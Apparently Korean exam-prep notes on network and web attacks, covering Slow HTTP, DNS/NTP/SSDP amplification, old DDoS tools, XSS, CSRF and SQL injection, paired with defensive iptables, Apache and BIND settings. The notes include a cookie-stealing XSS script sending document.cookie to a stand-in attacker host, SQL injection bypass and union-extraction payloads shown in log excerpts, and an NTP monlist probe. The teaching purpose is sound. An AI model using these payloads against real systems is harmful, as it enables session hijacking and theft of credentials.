• HTTP 관련 공격 중 헤더의 CRLF(개행문자) : \r\n(정상 0d0a 가 2번 있어야 함) 필드 부분을 조작함으로써 서버로 조작된 HTTP 헤더를 지속적으로 보내 헤더 정보를 완전히 수신할 때까지 연결을 유지하게 되어 서비스의 가용성을 떨어뜨리는 공격
• 서버로 전달할 HTTP Header 정보를 비정상적으로 조작하여 웹서버가 헤더 정보를 완전히 수신할 때까지 연결을 유지하도록 하여 가용성을 소비시킴으로 다른 클라이언트의 정상적인 서비스를 방해하는 서비스 거부 공격
• 정상적인 트래픽 0d0a 0d0a (2번) \r\n\r\n으로 종료 vs. 비정상적인 트래픽 0d0a (1번) \r\n으로 종료
► 대응 방안
• 동시 접속 임계치 설정을 통한 차단
: 호스트의 iptables 차단 => iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 5 -j DROP (동일IP 동시 연결갯수 5개 이상 차단)
• 연결 타임아웃에 기반한 임계치 설정을 통해 방어
: httpd.conf에 TIMEOUT=120(Default)인데 5정도로 작게 설정(너무 작게 하면 정상 서비스 오류). keepalive 기능을 사용하는 경우에는 Keepalivetimeout을 사용하여 세션 공격을 차단
• RequestReadTimeout(mod_reqtimeout Module) 설정을 통한 차단(읽기 타임 아웃 설정)
- Apache 2.2.15 버전과 그 이후 버전에서는 클라이언트 요청에 대한 더욱 세부적인 제한을 줄 수 있는 RequestReadTimeout이라는 지시자를 제공
- 이 지시자는 클라이언트의 요청(header and body)이 지정된 시간 내에 완료되지 않을 경우 오류 코드를 클라이언트에게 전송하여 Slow Attack을 차단
[예제]
RequestReadTimeout header=5 body=8
# header=5
# HTTP Header Request가 5초 이내에 완료되지 않으면, FIN 패킷을 보내 연결을 해제하며, 이 때 Apache Server는 408 Response Code로 응답 한다.
Timeout이 지난 후 Connection을 종료한다.
# body=8
# POST 요청 이후 8초 동안 데이터가 오지 않을 시 FIN을 보내 연결 해제를 요청하고 RST로 Connection을 종료한다. 일반적인 POST Request 시 Apache Server는 3-Way Handshake 이후 POST Request의 Content-Length 값만큼의 데이터가 수신될 때까지 Connection을 Open 상태로 수신을 기다린다.
▣ Slow HTTP Read DoS
► 개요
• TCP 연결시 매우 작은 윈도우크기로 서버에 응답을 보내면 서버는 더 이상 데이터를 전송하지 못하고 연결을 유지한 상태로 대기상태에 빠짐
• 정상트래픽은 Window Size가 가변적이나 비정상트래픽은 Window Size가 "0"으로 고정
• 서버의 Timer가 끝나 probe를 보내면, 다시 window size를 0으로 보내 지속적으로 연결을 유지
► 대응 방안
• 동시 접속 임계치 설정을 통한 차단
: 호스트의 iptables 차단 => iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 5 -j DROP (동일IP 동시 연결갯수 5개 이상 차단)
• 연결 타임아웃에 기반한 임계치 설정을 통해 방어
: httpd.conf에 TIMEOUT=120(Default)인데 5정도로 작게 설정(너무 작게 하면 정상 서비스 오류). keepalive 기능을 사용하는 경우에는 Keepalivetimeout을 사용하여 세션 공격을 차단
• RequestReadTimeout(mod_reqtimeout Module) 설정을 통한 차단(읽기 타임 아웃 설정)
- Apache 2.2.15 버전과 그 이후 버전에서는 클라이언트 요청에 대한 더욱 세부적인 제한을 줄 수 있는 RequestReadTimeout이라는 지시자를 제공
- 이 지시자는 클라이언트의 요청(header and body)이 지정된 시간 내에 완료되지 않을 경우 오류 코드를 클라이언트에게 전송하여 Slow Attack을 차단
[예제]
RequestReadTimeout header=5 body=8
# header=5
# HTTP Header Request가 5초 이내에 완료되지 않으면, FIN 패킷을 보내 연결을 해제하며, 이 때 Apache Server는 408 Response Code로 응답 한다.
Timeout이 지난 후 Connection을 종료한다.
# body=8
# POST 요청 이후 8초 동안 데이터가 오지 않을 시 FIN을 보내 연결 해제를 요청하고 RST로 Connection을 종료한다. 일반적인 POST Request 시 Apache Server는 3-Way Handshake 이후 POST Request의 Content-Length 값만큼의 데이터가 수신될 때까지 Connection을 Open 상태로 수신을 기다린다.
▣ DNS증폭공격
► 개요
• IP 스푸핑 공격기법, 출발지 IP를 희생자의 IP로 위조한 후 다수의 DNS 쿼리를 발생시킨다.
• 출발지 IP를 희생자의 IP로 위조하여 다수의 DNS 쿼리에 대한 응답이 희생자 쪽으로 향하도록 함
• any type 또는 txt type이 사용된다.
• 질의 요청 대비 응답이 매우 크기 때문에 증폭 반사공격을 효과적으로 할 수 있다.
[예제보기]
이 query의 응답(response)사이즈는 수천 byte로 매우 큰 것으로 확인되었다. 각각의 질문에 대해 답하시오.
19:10:01.210110 IP A.B.C.D.46557 > SERVER_IP.53 5861+ ANY example.com
19:10:01.275112 IP A.B.C.D.46558 > SERVER_IP.53 29756+ ANY example.com
19:10:01.392751 IP A.B.C.D.46559 > SERVER_IP.53 8725+ ANY example.com
19:10:01.427511 IP A.B.C.D.46560 > SERVER_IP.53 47984+ ANY example.com
19:10:01.692512 IP A.B.C.D.46561 > SERVER_IP.53 54150+ ANY example.com
► 대응 방안
• DNS서버를 다중화 하여 대비 한다
• 공격양이 크지 않을 경우 DNS서버에서 명령어를 통해 차단
iptables -A INPUT -p udp --dport 53 -m length --length 512:1500 -j DROP
• 5초 동안 5번 query 발생시 해당 패킷 차단
iptables -A INPUT -p udp --dport 53 -m recent --name ddos2 --set
iptables -A INPUT -p udp --dport 53 -m recent --name ddos2 --update --seconds 5 --hitcount 5 -j DROP
• DNS 싱크홀 (DNS Sinkhole)
- 감염된 PC에서 특정 주소로 연결을 원할 때 실제 해당 주소로 데이터가 전송되지 않고 싱크홀 네트워크가 대시 응답하여 패킷이 외부로 전달되지 않도록 처리 이 방법을 DNS에 적용
- 악성 봇 및 조종자 탐지 및 좀비 PC와 조종자 간의 접속을 차단해 2차 피해 예방
▣ NTP 증폭
► 개요
• NTP(Network Time Protocol) 서버를 악용하여 분산 서비스 거부 공격을 발생시킬 수 있는 취약점. 공격자는 취약점을 악용하여 특정 시스템에 서비스 거부 장애를 유발시킬 수 있으므로 최신 버전의 업데이트를 권고함
► 설명
• NTP monlist 기능으로 대량의 네트워크 트래픽을 유발시켜 분산 서비스 거부 공격을 일으킬 수 있는 취약점(CVE-2013-5211)으로 해당 시스템이 취약한지 여부는 아래 명령어를 실행하였을 때 에러 메시지가 나는지 여부로 확인 가능함(보안 설정이 되었을 때는 ***Request time out 등의 에러 메시지로 응답함)
$ ntpdc -n -c monlist 192.168.1.2
► 대응 방안
• NTP 버전을 확인하고 업그레이드
• monlist 비활성화
• 원격으로 monlist 지원여부 확인
• ntp서버 트래픽 유입을 제한하는 방화벽 설정
]# ntpd -version
]#: ntpd.conf disable monitor
]# ntpdc -c monlist ip주소
]# iptables -A OUTPUT -p udp --sport 123 –j DROP
▣ TCP Flag Flooding
► 개요
• 임의로 조작한 Flag를 가진 패킷을 전송해 서버가 패킷 검증에 자원 소모를 하도록 하는 공격
▣ UDP Flooding 공격
► 개요
• UDP의 비연결성 및 비신뢰성 때문에 공격이 용이한 방법이다.
• UDP Flood 공격은 공격대상자 시스템에 UDP 패킷을 전송하면 목적지 포트가 어떤 애플리케이션이 서비스하고 있는지 조사하고 그 포트를 이용하여 서비스하고 있는 애플리케이션이 없다고 파악되면 소스 어드레스에 ICMP Unreachable 패킷을 전송하는데, 이때 너무 많은 UDP 패킷이 공격대상자에게 전송되면 시스템에 부하가 걸리게 된다.
• echo와 chargen 서비스를 이용한다.
echo는 UDP 7번 포트를 사용하는데 a를 보내면 a를 응답한느 서비스이다.
chargen는 19번 포트를 사용하고 UDP 패킷에 대하여 0부터 512까지 무작위로 선택된 문자를 가진 패킷으로 되돌려주는 서비스를 제공한다.
두 서비스는 네트워크 진단을 위한 목적으로 사용된다. 그러나 방대한 양의 패킷이 되어 서비스를 제공하는 시트메에 과부화를 발생시킨다.
► 대응 방안
• 사용하지 않는 UDP 서비스를 중지
• 방화벽 등을 이용하여 패킷 필터링
• 리눅스 시스템의 경우 chargen 또는 echo 서비스를 중지
▣ VSE Query Flooding
► 개요
• TSource Engine Query를 많은 요청으로 처리하여 모든 서버를 처리 할 수 없도록함으로써 게임 서버에 대한 거부 공격을 발생 시키도록 설계.
• 밸브 소스 엔진 플러드는 서버에 대해 사용 가능한 리소스를 소비하는 데 사용되는 UDP(증폭) 공격.
• 공격은 TSource 엔진 쿼리 요청을 게임 서버에 보내도록 설계되었으므로 서버가 모든 요청을 처리 할 수없고 게임 서비스 거부를 만드는 많은 요청을 처리. 이 유형의 공격은 게이머 시장에만 적용됨.
▣ GRE Flooding
► 개요
• GRE 프로토콜을 이용해 특정사이즈의 패킷을 지속적으로 발생시켜 서버자원의 고갈을 유도한다.
• GRE 프로토콜은 공격시 encapsulation을 통해 대량의 payload를 전송 가능하고 , 타겟서버는 IP defragmentation 과정에서 자원의 고갈이 발생 할 수 있다.
※ GRE Protocol
GRE (Generic Routing Encapsulation)는 IP 네트워크에서 가상 점대 점 링크 내에 다양한 네트워크 계층 프로토콜을 캡슐화 할 수있는 터널링 프로토콜
▣ Tsunami Syn Flooding
► 개요
• 기존 SYN flood Attack은 패킷 당 40-60bytes의 트래픽을 유발하는데 반해, Tsunami SYN-Flood Attack은 패킷 당 1000bytes의 트래픽을 유발함
• UDP가 아닌 TCP 프로토콜을 사용하여 공격함. 일반적으로 SYN 패킷은 TCP 3way handshake과정에서 생성되는 메시지이며 해커들은 일반적인 SYN 패킷에 25배(최대 1000bytes)의 크기로 패킷 데이터양을 추가하는 방식으로 공격을 수행함
※"더 많은 봇(bots)을 트래픽에 덧붙여 공격한다.”라고 Radware 영국 지사의 Crawley가 설명함
9. DDoS툴(사례)
▣ Trinoo
► 개요
• 1999.06.07 / 미네소타 대학 / 솔라리스 2.x 시스템
• DDoS공격툴로 Attacker, Master, Agent로 공격 네트워크를 구성해 UDP Flooding 공격을 수행함.
- Attacker는 Master에 접속해 공격명령을 내리고, Master는 Agent에게 공격타겟에 대한 명령을 내리면 Agent는 해당 희생자에게 DDoS공격을 수행한다.
:공격자 -------> 마스터 : 27665/tcp 포트
:마스터 -------> 데몬들 : 27444/udp 포트
:데몬들 -------> 희생 시스템 : 임의의 포트를 통한 UDP flood
► 대응 방안
• 라우터에서의 access-list 설정
]access-list 171 deny tcp any any eq 27665
]access-list 171 deny udp any any eq 27444
▣ TFN
► 개요
• 트리누와 거의 유사한 분산 서비스 거부 도구로 많은 소스에서 여러 목표 시스템에 대해 서비스거부 공격을 수행한다.
TFN은 UDP flood 뿐만 아니라 TCP SYN flood 공격, ICMP echo 요청 공격, ICMP 브로드캐스트 공격(smurf 공격)을 할 수도 있다.
소스 IP 주소와 소스 포트는 임의로 주어지고, 패킷의 사이즈도 바꿀 수 있다.
마스터 시스템과 공격자 시스템간 연결이 암호문이 아닌 평문으로 되어 있어 공격자 노출의 가능성이 높다.
▣ TFN2K
► 개요
• 통신에 특정 포트가 사용되지 않고 암호화되어 있으며, 프로그램에 의해 UDP, TCP, ICMP가 복합적으로 사용되며 포트도 임의로 결정된다.
• TCP Syn Flooding, UDP Flooding, ICMP Flooding, Smurf 공격이 가능하다.
• 모든 명령은 CAST-256 알고리즘으로 암호화된다.
• 지정된 TCP 포트에 백도어를 실행시킬 수 있다.
• 데몬은 인스톨 시 자신의 프로세스 이름을 변경함으로써 프로세스 모니터링을 회피한다.
• UDP 패킷의 헤더가 실제 UDP 패킷보다 3바이트만큼 더 크다.
• TCP 패킷의 헤더의 길이는 항상 0이다. 정상적인 패킷이라면 절대로 0일 수 없다.
▣ Stacheldraht(슈탁셀드라트)
► 개요
• 트리누와 TFN을 참고하여 제작된 도구로서, 마스터 시스템 및 에이전트 데몬 사이에 통신을 할 때 암호화하는 기능이 추가됨
• ICMP Flood, SYN Flood, UDP Flood와 Smurf 등의 DDoS 공격을 할 수 있는 기능을 갖고 있음
▣ Targa
► 개요
• 여러 종류의 DDoS를 실행할 수 있도록 만든 공격 도구로 Mixter에 의해 만들 어짐. 여러 DoS공격 소스로 만든 통합 공격도구
• 공격 기법 : bonk, jolt, land, nestea, newlear, syndrop, teardrp, winnuke 등
10. DRDoS(Distributed Reflect DoS)
► 설명
• 주로 SNMP, NTP, CHARGN 이 가장 많이 사용됨 2013년 기준, 2018년 SSDP 공격
• syn Flooding: TCP의 연결설정과정의 취약점을 이용ICMP Flooding: ICMP 프로토콜의 Echo Request와 Echo Reply를 이용
• DNS 증폭: 많은 양의 레코드 정보를 요구하는 DNS질의타입을 요청
• NTP 증폭: 최근 접속한 클라이언트 목록을 요청
• SNMP 증폭: SNMP agent에 MIB와 같은 정보를 대량 요청. 송진자를 확인 할 필요 없어 IP스푸핑에 취약
• CHARGN 증폭: 대량의 문자열을 전송(Character Generator Protocol : 1983년 존 포스텔에 의해 정의됨. 문자 발생기로 테스트, 디버깅 및 측정 목적을 휘한 프로토콜)
• SSDP (기사 실기15회 - 단답): Simple Service Discovery Protocol의 약자로 정상적인 상황에서 SSDP 프로토콜은 UPnP 장치가 네트워크상의 다른 장치에 자신의 존재를 브로드 캐스트하도록 허용하기 위해 사용됩니다.
공격자는 UPnP 장치들을 찾아 리스트화 하고 대상자의 IP로 스푸핑된 UDP 패킷을 만들어 가능한 많은 데이터를 요청하는 내용을 담아 각 장치로 전송합니다. 대상자는 각 장치로부터 오는 증폭된 트래픽(IoT 디바이스가 반사체가 됨)을 한꺼번에 받게 됩니다.
- 예를 들어 httpu(udp 기반의 http)를 이용하여 모든 데이터는 text로 통신함.
- udp 1900 포트를 사용하며 ip multicast 주소를 시용함.
- ssdp는 advertisement, search 두개의 타입이 있음
※ SSDP (Simple Service Dicovery Protocol)
: 네트워크 서비스나 정보를 찾기 위해서 사용하는 네트워크 프로토콜. 일반 거주와 소규모 사무 환경에서 UPnP를 위한 기본적인 프로토콜로 사용하고 있음 . (SSDP 는 UPnP의 표준)
※ UPnP (Universal plug and play)
: 홈 네트워크에 있는 네트워크 장치들이 서로 연동될 수 있도록 하는 범용 표준 프로토콜.
(대부분 프린터와 복사기가 해당 됨)
► 도식화
11. PDoS
▣ PDoS(Permanent Denial of Service : 영구적 서비스 거부)
► 개요
• 정의
사전에 각종 전자기기들의 펌웨어(Firmware)에 악성코드를 삽입, 유통시킨 후 공격을 가해 피해를 입힌 다음 제품 자체를 파괴시켜 버리려 공격 루트를 찾기 어려운 DDOS의 한 단계 진화한 서비스거부 공격방식
• 특징
- 백신으로 치료 어려움 : 기기 전체 컨트롤하는 펌웨어에 악성코드 삽입
- 공격루트 찾기 어려움 : 감염제품 자체 기능을 파괴하므로
- 공격루트 찾기 어려움 : 인터넷 -> 휴대폰, MP3플레이어 등 디지털 기기
- 정보 유출 기능 : 단순 마비가 아니라 무선기기, 전화기에 내장 후 음성, 문자 유출 가능
► 대응 방안
• 업데이트 제공자의 신뢰도 확인 : 원격 업데이트 시 제공자와 소스의 신뢰도 확인
• 악성코드 검사 : 소프트웨어 업데이트 시 이메일이나 메시지가 나타나면 악성코드 검사
12. DNS취약점
▣ DNS Cache Poisoning
► 개요
• 취약한 DNS 서버에 조작된 쿼리를 전송하여 DNS서버가 저장하고 있는 주소정보를 임시적으로 변조하는 공격
• DNS 서버의 캐시정보를 공격자가 위조하여 사용자가 DNS질의시 캐시의 위조된 정보를 받음으로써 공격자가 만들어 놓은 위조사이트로 접속하도록 만드는 공격기법
/etc/inetd.conf – 인터넷 슈퍼데몬
/etc/named.conf – DNS 설정파일
/etc/resolv.conf – DNS 네임서버 등록 파일
• 공격자가 Spoofed IP(Victim) 주소로 다량의 DNS 요청을 보내는 공격 위협(DNS Cache Poisoning-DNS 캐쉬에 거짓정보가 들어가게 하는 공격) 공격 시도가 가능할 수 있으므로 이에 대응가능한 보안 설정이 필요함
※DNS recursion
: 자신의 PC에 설정하여 사용하는 DNS서버에서 도메인에 대한 질의를 받아 응답을 찾아가는 과정으로, 도메인에 접속하기 위해 어떤 과정을 거쳐 답을 찾아 오는지에 대한 정보를 설명한다.
즉, 내 PC에 사용중인 DNS서버에 없는 도메인 정보를 외부DNS(타DNS)에 질의하여(순환질의) 정보를 가져오게 되는데, recursive 기능을 막으면 사용중인 DNS서버에 등록된 도메인 이외의 도메인을 불러 올수 없다.
► 대응 방안
• Recursion 기능 비활성화를 통한 제한 (named.conf 설정파일의 recursion no; 설정시)
options {
recursion no; // Recursion 질의 기능 off
}
• Recursion 서비스를 신뢰된 호스트로 제한 (named.conf 설정파일의 recursion yes; 설정시)
named.conf 파일의 Option 항목에 "allow-recursion" 지시어를 이용하여 특정 신뢰된 호스트들에 대해서만 recursion 기능을 활성화 (화이트리스트 형태의 제어)
acl trust { 192.168.1.0/24; };
options {
allow-recursion { trust; };
};
• Blackhole 옵션을 이용한 DNS 질의 제한 (named.conf 설정파일의 recursion yes; 설정시)
*특정 네트워크에 대한 설정은 신중하게 해야 함(블랙리스트 형태의 제어)
acl cantaccess { 192.168.1.0/24; };
acl noaccess { 213.232.12.34; 211.123.234.4; };
options {
blackhole { cantaccess; noaccess; };
};
위와같이 blackhole이 설정되면, blackhole 리스트로 등록된 네트워크나 host들은 해당 DNS 서버로 질의를 보낼 수 없음(해당 호스트에서의 질의를 무시함)
► DNSSEC
• DNS가 가지고 있는 보안 취약점을 극복하기 위한 DNS 확장 표준 프로토콜
• DNS 데이터 위·변조 공격에 대응할 수 있다(파밍 등)
• 메시지 송신자 인증과 전자서명을 제공한다.
• DNS 메시지에 대한 기밀성은 제공하지 않는다
• 서비스 거부 공격에 대한 방지책은 없다.
13. WEB 취약점
▣ XSS(Cross Site Script)
► 개요(기사 실기15회 단답)
• 악성스크립트가 삽입된 게시글의 클릭을 유도하여 클릭시 해당 악성코드가 다운로드 되어 사용자의 브라우저를 통해 실행된다. 실행된 스크립트에 의해 사용자 정보가 공격자에 노출되거나 다양한 형태의 공격이 이루어진다.
• 피해자의 브라우저에서 스크립트를 실행시켜 사용자 세션을 탈취 하거나 악성 사이트로 리다이렉션 허용(클라이언트측 피해)
[예제보기1]
공격자는 웹상의 HTML context 부분에 유효성 검사(validation) 또는 이스케이핑(escaping)없이 신뢰할 수 없는 데이터를 사용하도록 다음의 예시문과 유사하게 HTML 구문 일부의 구성을 변경하여 삽입한다.
(string)page+="<input name='creditcard' type='txt' value='" + request.getParameter("CC") + "'>";
이어 공격자는 CC 매개변수를 수정한다.
'>
'
이 경우 해당 웹 이용자의 세션 ID가 공격자에게 전송되며, 공격자가 사용자의 현재 세션을 탈취해 이용할 수 있게 된다.
[예제보기2]
<script>var img = new image();
img.src="http://www.attack.com/info.php?a="+encodeURIComponent(document.cookie);
</script>
► 대응 방안
• 사용자 입력값은 반드시 서버단에서 검증해 악의적인 웹프락시등의 도구를 통해 우회해 입력되는 것을 방지.
• 특수 문자를 strip_tags() 함수 등을 이용해 제거하거나 htmlspecialchars() 함수 등을 이용 해 일반 문자로 치환
• 게시판 등에서 HTML 태그 허용 시 HTML 태그의 허용 리스트를 선정후, 해당 태그만 허용하는 방식을 적용함.
• 점검을 위하여 다음과 같은 스크립트를 사용할 수 있다(기사 실기15회 단답)
<script> Alert (document.cookie) </script>
⑴ 사용자 입력 값은 반드시 서버단에서 검증
⑵ 사용자가 입력한 문자열에서 <, >, &, “ 등은 replace 등의 문자 변환함수를 사용하여 치환하
여 저장토록 한다.
⑶ 게시판 등에서 html 태그 허용 시 html 태그의 리스트(White list)를 선정한 후, 해당 태그만
허용하는 방식 적용
▣ CSRF(Cross Site Request Forgery)
► 개요
• 조작된 요청정보가 삽입된 게시글을 클릭하게 되면 사용자의 권한으로 의도하지 않은 조작된 요청을 웹서버에 전송 하도록 하여 게시판 설정 변경, 회원 정보 변경, 패스워드 변경 등의 행위가 발생한다.
• 로그온 된 피해자가 자신의 의지와는 무관하게 공격자가 의도한 행위((수정,삭제,송금 비밀번호 변경등)를 하게 만드는 공격
• 사용자가 스크립트가 삽입된 컨텐츠에 접근시 사용자의 권한으로 조작된 요청이 서버에 전송하도록 하는 취약점
► 대응 방안
• 세션 쿠키 대신 사용자 인증만을 위한 헤더를 추가(Http Request header의 Referer 체크)
• 공격자가 예측할 수 없는 파라미터 추가 및 검증(CSRF 토큰)
⑴ 입력화면 폼 작성 시 GET 보다는 POST 방식 사용
⑵ 입력화면 폼과 해당 입력을 처리하는 프로그램 사이에 토큰을 사용하여, 공격자의 직접적인
URL 사용이 동작하지 않도록 처리
⑶ 사용자가 요청한 내용이 위조된 요청인지 여부를 사용자 접근권한 정보가 포함된 토큰을 이용
하여 세선정보에 포함된 토큰 값과 요청에 포함된 토큰 값의 비교를 통해 확인
⑷ 중요한 기능에 대해서는 사용자 세션검증과 더불어 재인증 유도
▣ 디렉터리 인덱싱/리스팅 취약점
► 개요
• 디렉터리 검색은 디렉터리 요청 시 해당 디렉터리에 기본 문서가 존재하지 않을 경우 디렉터리 내 모든 파일의 목록을 보여주는 기능임. 디렉터리 검색 기능이 활성화되어 있는 경우 외부에서 디렉터리 내의 모든 파일에 대한 접근이 가능하여 WEB 서버 구조 노출뿐만 아니라 백업 파일이나 소스파일 등 공개되어서는 안 되는 중요 파일 노출이 가능함.
[예제보기1]
[Request]
Get /home/greet/ HTTP/1.1
Accept : text/html, application/xhtml+xml. */*
Accept-Language: ko-KR
User-Agent : Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: 192.168.19.131
DNT: 1
Proxy-Connection: Keep-Alive
[Response]
HTTP/1.1 200 OK
Date: Fri, 06 ~~
<html><head><title>Index of /home/greet</title></head><body><h1>Index of /home/greet</h1>....
[예제보기2]
<요청>
GET ~/CGI/
<응답>
200 ok ~ index of ~
► 대응방안
• Options 지시자의 indexes 설정을 제거, IIS 설정 “디렉터리 검색” 체크 해제
[변경전 httpd.conf]
<Directory />
Options Indexes FollowSymLinks
AllowOverride None
Allow allow, deny
Allow from all
</Directory>
[변경후 httpd.conf]
<Directory />
Options FollowSymLinks
AllowOverride AuthConfig
Allow allow, deny
Allow from all
</Directory>
▣ 상위디렉토리 제한
► 개요
• 상위경로로 이동하는 것이 가능할 경우 하위경로에 접속하여 상위경로로 이동함으로써 해킹을 당할 위험이 있으며, 유니코드 버그(Unicode Bug) 및 서비스 거부 공격에 취약해지기 쉬우므로 “..” 와 같은 상위경로로 이동이 가능한 문자사용이 불가능하도록 설정할 것을 권장함. Apache는 특정 디렉터리 내에 존재하는 파일들을 호출할 때 사용자 인증을 수행하도록 설정할 수 있음. 따라서 해당 설정을 이용하여 중요 파일 및 데이터 접근은 허가된 사용자만 가능하도록 제한함.
► 대응방안
[변경전 httpd.conf]
<Directory "/usr/local/apache2/htdocs">
AllowOverride None
Allow from all
</Directory>
[변경후 httpd.conf]
<Directory "/usr/local/apache2/htdocs">
AllowOverride AuthConfig
Allow from all
</Directory>
▣ 링크 사용 금지
► 개요
• 일부 서버는 *심볼릭 링크(Symbolic link)를 이용하여 기존의 웹 문서 이외의 파일시스템 접근이 가능하도록 하고 있음. 이러한 방법은 편의성을 제공하는 반면, 일반 사용자들도 시스템 중요 파일에 접근할 수 있게 하는 보안 문제를 발생시킴.
가령 시스템 자체의 root 디렉터리(/)에 링크를 걸게 되면 웹 서버 구동 사용자 권한(nobody)으로 모든 파일 시스템의 파일에 접근할 수 있게 되어 “/etc/passwd” 파일과 같은 민감한 파일을 누구나 열람할 수 있게 됨.
*심볼릭 링크(Symbolic link, 소프트 링크): 윈도우 운영체제의 바로가기 아이콘과 비슷함. 링크
생성 시 파일 내용은 존재하지 않으나 사용자가 파일을 요청하면 링크가 가리키고 있는 원본
데이터에서 데이터를 가져와서 전달함. 직접 원본을 가리키지 않고 원본 데이터를 가리키는
포인터를 참조함으로써 원본데이터가 삭제, 이동, 수정이 되면 사용 불가함.
► 대응방안
[변경전 httpd.conf]
<Directory />
Options Indexes FollowSymLinks
AllowOverride None
Allow allow, deny
Allow from all
</Directory>
[변경후 httpd.conf]
<Directory />
Options
AllowOverride AuthConfig
Allow allow, deny
Allow from all
</Directory>
▣ 파일업로드 용량제한
► 개요
• 불필요한 파일 업로드, 다운로드 시에 대량의 업로드, 다운로드로 인한 서비스 불능상태가 발생할 수 있음. 따라서 불필요한 업로드와 다운로드는 허용하지 않으며, 웹 서버에 의해 처리되지 못하게 하고, 자동이나 수동으로 파일의 보안성 검토를 수행함.
► 대응방안
5MByte를 넘지 않는 것을 권고
[변경전 httpd.conf]
<Directory />
</Directory>
[변경후 httpd.conf]
<Directory />
LimitRequestBody 5000000
</Directory>
▣ 파일 포함 공격
► 개요
• 원격에서 include() 함수나 require() 함수 의 인자를 조작해 악의적인 시스템 명령어를 실행하는 기법
► 대응 방안
• php.ini 에서 allow_url_fopen 부분을 Off 로 설정
root@xubuntu:~# cat /etc/php/7.0/apache2/php. ini | grep allow_url_fopen
allow_url_fopen = On => Off
▣ 파일 업로드 공격
• 서버 측에서 실행될 수 있는 스크립트파일(asp,jsp,php 파일 등)이 업로드 가능하고, 이 파일을 공격자가 웹을 통해 직접 업로드 시킬 수 있는 경우 웹쉘 (Webshell) 등을 이용한 공격이 가능 함
► 대응 방안
• 업로드 파일의 확장자 제한이나 저장 공간의 격리 등 필요
14. WEB & DB취약점
▣ SQL Injection
► 개요
• SQL, OS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써 보내질 때 발생, 예상하지 못하는 명령을 실행하거나 적절한 권한없이 접근하도록 속임
• 신뢰할 수 없는 데이터가 명령어나 질의문의 일부분으로 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나 적절한 권한없이 접근하도록 인터프리터를 속일 수 있다.
• 데이터베이스와 연동된 웹 어플리케이션에서 공격자가 입력 폼 및 URL 입력란에 SQL문을 삽입하여 DB로부터 정보를 열람(또는 조작)할 수 있는 공격방법이다.
► 공격 종류
• 오류 기반 SQL 삽입 공격 : 패스워드 주석 처리
• 무차별 SQL 삽입 공격 : SQL 질의 문이 참인 경우와 거짓인 경우를 이용해 공격
• mysql_real_escape_string() 함수 등을 사용해 SQL 삽입 공격 : 조건절을 참이 되게 하는 방법 ‘ or ’1’=’1 또는 ‘ or ’a’=’a 등
• 약한 문자열 강도 취약점 : 안전한 패스워드 규칙 미적용(영문, 숫자, 특수문자 조합 설정)
► 공격 방식에 의한 분류
• Form SQL injection
- From 기반 인증을 담당하는 application에 취약점이 있는 경우, 사용자 인증을 위한 쿼리
가 참이 되도록 해 인증 우회
- 공격에 성공하는 경우 반환되는 레코드 셋의 첫 번째 레코드에 해당하는 사용자의 권한을
획득
: select * from where id=’‘or 1=1# and pw=’‘
: where절을 보면 or 조건에 1=1이 항상 참이 되므로 첫 번째 레코드 값을 반환하게 된
다. (#이하는 주석처리)
• Union SQL injection
- 한 쿼리의 결과를 다른 쿼리의 결과에 접합하여 공격하는 기법
: select id,pw from member where id=’‘union select ’admin’,‘qqqq’
: 공격자가 id 파라미터로 ‘union select ’admin’,‘qqqq를 전달하고 password로 qqqq를
전달하게 되면 결과적으로 아래와 같은 코드가 수행되어 원하는 id로 로그인이 가능해
진다.
: where 절을 보면 id는 빈값이라 조회되는 결과가 없지만, union select를 통해 admin,
qqqq라는 결과가 반환되게 된다.
• Stored Procedure SQL injection
- 일련의 쿼리를 마치 하나의 함수처럼 실행하기 위한 쿼리의 집합
: xxx.php?no=123;EXEC master..xp_dirtree ‘C:＼’
: 공격자는 no 파라미터에 값과 함께 ; 문자를 통해 명령어를 연속 수행시키면서 xp_dirtree 확장 프로시저를 실행
: 위 공격이 성공하면 c:\ 의 파일목록 확인이 가능
• Mass SQL injection
- 기존 SQL injection의 확장된 개념으로 한 번의 공격으로 대량의 DB값이 변조되어 홈페이
지에 치명적인 영향을 미치는 공격
- DB값 변조 시 악성 스크립트를 삽입하여, 사용자가 변조된 사이트 방문 시 감염되거나, 악
성 Bot이 설치됨
[예제보기1 – IIS 로그]
ex050505.log 2005-01-01 18:15:30 attacker_IP - victip_IP 80 "GET /announce/new_detail.asp id=529
Microsoft OLD DB Provider for ODBC Drivers error '00000000'
[Microsoft][ODBC SQL Server Driver][SQL_Server]
Unclosed_quotation_mark_before_the_character string ' ' 500
• 정상적인 URL
http://www.example.com/login.php?passwd=test
• 공격코드로 조작된 URL
http://www.example.com/login.php?passwd=' or userid='admin';--
=> admin 페이지 접속이 가능해 진다.
[예제보기2 – Apache 로그]
01:"GET /home/board/list.php?search=%27%20order%20by%201%23 HTTP/1.1" 200 6931
~~
07:"GET /home/board/list.php?search=%27%20order%20by%201%23 HTTP/1.1" 200 6931
08:"GET /home/board/list.php?search=%27%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%23 HTTP/1.1" 200 4486
09:"GET /home/board/list.php?search=%27%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2Cdatabase%28%29%2C6%2C7%2C8%2C9%23 HTTP/1.1" 200 4494
10:"GET /home/board/list.php?search=%27%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2Ctable_name%28%29%2C6%2C7%2C8%2C9%20from%20information_schema.tables%20where%20table_schema%3D%27algisa_db%27%23 HTTP/1.1" 200 5237
11:"GET /home/board/list.php?search=%27%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2Ccolumn_name%2C6%2C7%2C8%2C9%20from%20information_schema.columns%20where%20table_schema%3D%27algisa_db%27%20table_name%3D%27member%27%23 HTTP/1.1" 200 6208
12:"GET /home/board/list.php?search=%27%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2Cconcat%28id%2C%27%2F%27%2Cpass%29%2C6%2C7%2C8%2C9%20from%20algisa_db.member%23&x=30&y=10 HTTP/1.1" 200 5756
=> id와 password 탈취
[예제보기3 – apache 로그]
